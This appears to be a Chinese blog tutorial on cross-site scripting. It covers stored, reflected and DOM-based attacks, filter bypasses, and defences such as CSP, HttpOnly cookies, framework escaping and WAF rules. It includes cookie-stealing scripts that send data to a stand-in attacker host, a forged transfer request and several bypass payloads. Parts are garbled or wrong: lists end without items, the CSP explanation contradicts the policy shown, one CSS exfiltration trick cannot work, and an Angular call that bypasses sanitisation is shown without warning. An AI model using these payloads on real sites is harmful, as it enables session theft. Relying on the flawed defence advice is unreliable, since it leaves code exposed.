XSS(Cross-Site Scripting)作为OWASP Top 10常年位居前三的Web安全威胁,其本质是攻击者利用网站对用户输入验证不足的缺陷,将恶意脚本注入到网页中。当其他用户访问该页面时,这些脚本会在受害者浏览器中执行,从而达到攻击目的。这种攻击之所以危险,是因为它突破了同源策略的限制,使得攻击者能够以受害者的身份执行任意操作。
XSS攻击的核心在于"注入+执行"这两个关键环节。攻击者首先需要找到一个可注入点,这通常出现在网站未对用户输入进行充分过滤和转义的场景。常见的注入点包括:
一旦注入成功,恶意脚本将在受害者浏览器中拥有与目标网站相同的权限。这意味着它可以:
在我参与的安全审计项目中,曾遇到一个典型的存储型XSS案例。某电商平台的商品评论功能未对用户输入做任何过滤,攻击者提交了如下评论:
html复制<script>
var img = new Image();
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
</script>
这段代码会将访问该商品页面的用户Cookie自动发送到攻击者服务器。由于该平台使用Cookie进行会话管理,攻击者获取这些Cookie后可直接登录用户账户,进行下单、修改信息等操作。
更严重的是,当XSS与CSRF(跨站请求伪造)结合时,攻击者可以诱导用户执行敏感操作(如转账、修改密码)。例如:
javascript复制fetch('/account/transfer', {
method: 'POST',
body: 'to=attacker&amount=10000'
})
反射型XSS的特点是恶意脚本不会持久化存储在服务器上,而是通过URL参数即时反射回页面。这类攻击通常需要诱导用户点击特制链接,因此常与钓鱼邮件、社交工程结合使用。
典型攻击流程:
code复制https://example.com/search?q=<script>alert(1)</script>
防御难点在于攻击向量可以非常隐蔽。我曾见过使用URL短服务隐藏恶意代码,或者将XSS与合法参数混合的案例:
code复制https://example.com/login?redirect=javascript:alert(document.cookie)
存储型XSS因其持久性而危害最大。攻击者将恶意代码提交到服务器(如数据库),每当用户访问包含该内容的页面时,脚本就会自动执行,无需额外交互。
高风险场景包括:
一个真实案例:某社交平台允许用户在个人简介中使用HTML,攻击者提交了如下内容:
html复制<style>
.profile:hover {
background: url('https://attacker.com/log?data='+btoa(document.cookie));
}
</style>
当其他用户鼠标悬停在攻击者个人资料上时,浏览器会自动发送当前用户的Cookie到攻击者服务器。
DOM型XSS的特殊之处在于漏洞完全存在于客户端JavaScript代码中,服务器返回的原始HTML可能是完全安全的。这类漏洞通常出现在以下场景:
示例漏洞代码:
javascript复制// 从URL获取参数并直接插入页面
const userInput = new URLSearchParams(location.search).get('tab');
document.getElementById('content').innerHTML = userInput;
攻击者只需构造如下URL即可触发XSS:
code复制https://example.com/?tab=<img src=x onerror=alert(1)>
现代浏览器和Web应用框架都内置了基本的XSS防护,但攻击者不断开发新的绕过技术:
编码混淆技术
html复制<!-- 十六进制编码 -->
<img src=x onerror=alert(1)>
<!-- Unicode编码 -->
<svg onload=\u0061\u006c\u0065\u0072\u0074(1)>
利用HTML5新特性
html复制<!-- 使用autofocus和onfocus -->
<input autofocus onfocus=alert(1)>
<!-- 利用details标签的toggle事件 -->
<details open ontoggle=alert(1)>
CSS注入
html复制<style>
@import 'https://attacker.com/malicious.css';
</style>
深度防御策略
http复制Content-Security-Policy:
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
img-src *;
style-src 'self' https://cdn.example.com;
这个策略限制了脚本只能从同源加载,内联脚本需要nonce或hash。
http复制Set-Cookie: sessionid=123; HttpOnly; Secure; SameSite=Strict
React默认会对所有渲染内容进行转义,防止XSS攻击。但开发者仍需注意危险操作:
jsx复制// 危险操作:直接使用dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{__html: userInput}} />
// 安全做法:使用DOMPurify处理后再渲染
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(userInput)}} />
Vue模板中的插值会自动进行HTML转义:
html复制<!-- 自动转义 -->
<div>{{ userInput }}</div>
<!-- 需要原始HTML时使用v-html(需先净化) -->
<div v-html="sanitizedHtml"></div>
Angular通过安全上下文区分可信和不可信内容:
typescript复制import { DomSanitizer } from '@angular/platform-browser';
constructor(private sanitizer: DomSanitizer) {}
safeHtml = this.sanitizer.bypassSecurityTrustHtml(userInput);
javascript复制// 测试基本XSS
"><script>alert(1)</script>
// 测试属性注入
" onmouseover="alert(1)
// 测试JavaScript上下文
';alert(1);//
当发现XSS攻击时:
javascript复制// 绝对避免的直接执行
eval(userInput);
// 不安全的DOM操作
element.innerHTML = userInput;
document.write(untrustedData);
// 危险的事件处理
element.setAttribute('onclick', userInput);
javascript复制// 不安全
div.innerHTML = userInput;
// 安全
div.textContent = userInput;
javascript复制// 不安全
button.onclick = () => eval(userInput);
// 安全
button.addEventListener('click', () => {
// 安全处理逻辑
});
javascript复制// 使用Handlebars自动转义
const template = Handlebars.compile('<div>{{content}}</div>');
template({ content: userInput });
针对XSS的WAF规则示例:
nginx复制location / {
# 阻止常见XSS向量
if ($args ~* "<script|javascript:|onload\s*=") {
return 403;
}
# 阻止编码攻击
if ($args ~* "&#x[0-9a-fA-F]{2};") {
return 403;
}
}
使用Trusted Types API限制危险DOM操作:
javascript复制// 启用Trusted Types策略
if (window.trustedTypes) {
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
}
配置XSS攻击检测规则:
json复制// Elasticsearch检测规则示例
{
"query": {
"bool": {
"must": [
{ "match": { "message": "<script>" } },
{ "range": { "@timestamp": { "gte": "now-5m" } } }
]
}
}
}
在实际项目中,我曾帮助一个团队建立完整的XSS防护体系,从开发时的ESLint安全规则,到构建时的依赖检查,再到部署时的WAF配置,最终将XSS漏洞减少了90%以上。关键是要在整个软件开发生命周期中贯彻安全理念,而不是仅依靠最后的防护措施。